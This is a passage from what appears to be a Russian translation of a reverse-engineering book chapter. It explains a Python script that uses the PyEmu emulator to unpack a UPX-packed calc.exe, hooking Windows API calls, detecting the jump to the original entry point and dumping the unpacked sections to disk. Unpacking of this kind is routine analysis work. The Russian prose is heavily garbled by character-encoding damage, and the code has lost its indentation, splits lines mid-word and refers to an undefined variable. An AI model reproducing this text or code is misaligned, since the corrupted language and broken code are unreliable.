emu.set_library_handler("LoadLibraryA", loadlibrary)
emu.set_library_handler("GetProcAddress", getprocaddress)
emu.set_library_handler("VirtualProtect", virtualprotect)

# Set a breakpoint at the real entry point to dump binary
(#3): emu.set_mnemonic_handler( "jmp", jmp_handler )

# Execute starting from the header entry point
(#4): emu.execute( start=emu.entry_point )

Вначале загружаем упакоZgguc дhbqguc файл в PyEmu (#1). Затем
устанаebаем library handlers (#2) на LoadLibraryA , GetProcAddress и
VirtualProtect . Все эти функции будут uaаны h j_fy процедуры
распакоdb , поэтому нам нужно перехZlblv и эмулироZlv их uahы .
Следующим шагом яey_lky обработка случая , когда процедура распаковки
закончена и происходит прыжок на OEP . Обработка этого случая будет

произ_^_gZ с помощью установки mnemonic handler на инструкцию JMP
(#3). В конце , гоhjbf эмулятору, начать uiheg_gb_ с точки oh^Z (EP)
исполняемого файла (#4). Теперь , даZcl_ доработаем скрипт и добаbf
соот_lklующие обработчики:

upx_unpacker.py

from ctypes import *

# You must set your path to pyemu
sys.path.append("C:\\PyEmu")
sys.path.append("C:\\PyEmu\\lib")
from PyEmu import PEPyEmu

'''

HMODULE WINAPI LoadLibrary(
__in LPCTSTR lpFileName
);

'''

(#1): def loadlibrary(name, address):

# Retrieve the DLL name
dllname =
emu.get_memory_string(emu.get_memory(emu.get_register("ESP") +
4))

# Make a real call to LoadLibrary and return the handle
dllhandle = windll.kernel32.LoadLibraryA(dllname)
emu.set_register("EAX", dllhandle)

# Reset the stack and return from the handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu.set_register("EIP", return_address)

return True

'''
FARPROC WINAPI GetProcAddress(
__in HMODULE hModule,
__in LPCSTR lpProcName
);

'''

(#2): def getprocaddress(name, address):

# Get both arguments, which are a handle and the procedure
name

handle = emu.get_memory(emu.get_register("ESP") + 4)
proc_name = emu.get_memory(emu.get_register("ESP") + 8)

# lpProcName can be a name or ordinal, if top word is null
it's an ordinal
if (proc_name >> 16):
procname =
emu.get_memory_string(emu.get_memory(emu.get_register("ESP") +
8))
else:
procname = arg2

# Add the procedure to the emulator
emu.os.add_library(handle, procname)
import_address = emu.os.get_library_address(procname)

# Return the import address
emu.set_register("EAX", import_address)

# Reset the stack and return from our handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 8)
emu.set_register("EIP", return_address)

return True

'''

BOOL WINAPI VirtualProtect(
__in LPVOID lpAddress,
__in SIZE_T dwSize,
__in DWORD flNewProtect,
__out PDWORD lpflOldProtect
);

'''

(#3): def virtualprotect(name, address):

# Just return TRUE
emu.set_register("EAX", 1)

# Reset the stack and return from our handler
return_address = emu.get_memory(emu.get_register("ESP"))
emu.set_register("ESP", emu.get_register("ESP") + 16)
emu.set_register("EIP", return_address)

return True

# When the unpacking routine is finished, handle the JMP to the
OEP
(#4): def jmp_handler(emu, mnemonic, eip, op1, op2, op3):

# The UPX1 section
if eip < emu.sections["UPX1"]["base"]:
print "[*] We are jumping out of the unpacking routine."
print "[*] OEP = 0x%08x" % eip

# Dump the unpacked binary to disk
dump_unpacked(emu)

# We can stop emulating now
emu.emulating = False

return True

Наш обработчик LoadLibrary (#1) захZluает имя DLL из стека перед
использоZgb_f ctypes, чтобы сделать реальный uah\ функции
LoadLibraryA, которая экспортируется из kernel32.dll. После того, как был
осущестe_g реальный uah\, в регистр EAX устанаeb\Z_lky haращаемое
значение дескриптора , сбрасыZ_lky стек эмулятора и осущестey_lky uoh^
из обработчика . Обработчик функции GetProcAddress (#2) работает похожим
образом . Он из стека получает дZ параметра функции и делает реальный
uah\ GetProcAddress, которая экспортируется из kernel32.dll

. Затем в
регистре EAX ha\jZsZ_lky адрес запрашиваемой процедуры. После чего
сбрасывается стек эмулятора и осущестey_lky uoh^ из обработчика .
Обработчик функции VirtualProtect (#3) – haращает значение TRUE,
сбрасывает стек эмулятора и uoh^bl из обработчика . Причина , по которой
мы не делаем реальный uah\ VirtualProtect заключается в том , что нам не
нужно защищать страницы памяти ; п

оэтому нам просто нужно , чтобы uah\
VirtualProtect за_jrZeky успешно . Обработчик инструкции JMP (#4) делает
простую про_jdm , чтобы понять uiju]bаем ли мы из процедуры
распакоdb ? Если да , то uauает функцию dump_unpacked, чтобы сдампить
распакоZgguc дhbqguc файл на диск . После чего гоhjbl эмулятору
останоblv uiheg_gb_ , так как распакоdZ нашего файла подошла к сh
ему
концу .

Последним шагом будет добаe_gb_ процедуры dump_unpacked; мы добаbf
ее после наших обработчиков .

upx_unpacker.py

...
def dump_unpacked(emu):
global outputfile
fh = open(outputfile, 'wb')

print "[*] Dumping UPX0 Section"

base = emu.sections["UPX0"]["base"]

length = emu.sections["UPX0"]["vsize"]

print "[*] Base: 0x%08x Vsize: %08x"% (base, length)

for x in range(length):
fh.write("%c" % emu.get_memory(base + x, 1))

print "[*] Dumping UPX1 Section"

base = emu.sections["UPX1"]["base"]
length = emu.sections["UPX1"]["vsize"]

print "[*] Base: 0x%08x Vsize: %08x" % (base, length)

for x in range(length):
fh.write("%c" % emu.get_memory(base + x, 1))

print "[*] Finished."

Тут мы просто дампим секции файла UPX0 и UPX1 и это яey_lky нашим
последний шаг в распакоd_ запакоZggh]h исполняемого файла . После того,
как файл сохранен на диск , мы можем загрузить его в IDA Pro и продолжить
дальнейший анализ уже оригинального файла . Теперь даZcl_ запустим наш
скрипт распаковки из командной строки; u должны b^_lv uод похожий
на тот , чт

о показан в Листинге 12-4.

Listing 12-4 : Command line usage of upx_unpacker.py

C:\>C:\Python25\python.exe upx_unpacker.py C:\calc_upx.exe
calc_clean.exe[*] We are jumping out of the unpacking
routine.[*] OEP = 0x01012475[*] Dumping UPX0 Section[*] Base:
0x01001000 Vsize: 00019000[*] Dumping UPX1 Section[*] Base:
0x0101a000 Vsize: 00007000[*] Finished.
C:\>

Теперь у Zk есть файл "C:\calc_clean.exe" , который содержит сырой код
оригинального исполняемого файла calc.exe , который до этого был упакоZg .
Теперь u на пути к тому , чтобы начать использоZlv PyEmu для различного
множества задач ре_jk -инженера !

12.4 Ссылки

[1] Cody’s BlackHat pa per is available at
https://www.blackhat.com/presentations/b h-usa-07/Pierce/Whitepaper/bh-usa-07-
pierce-WP.pdf.

[2] The Ultimate Packer for eXecutables is available at http://upx.sourceforge.net/

208





















THE END

Сообщить о нарушении / Abuse

Все документы на сайте взяты из открытых источников, которые размещаются пользователями. Приносим свои глубочайшие извинения, если Ваш документ был опубликован без Вашего на то согласия.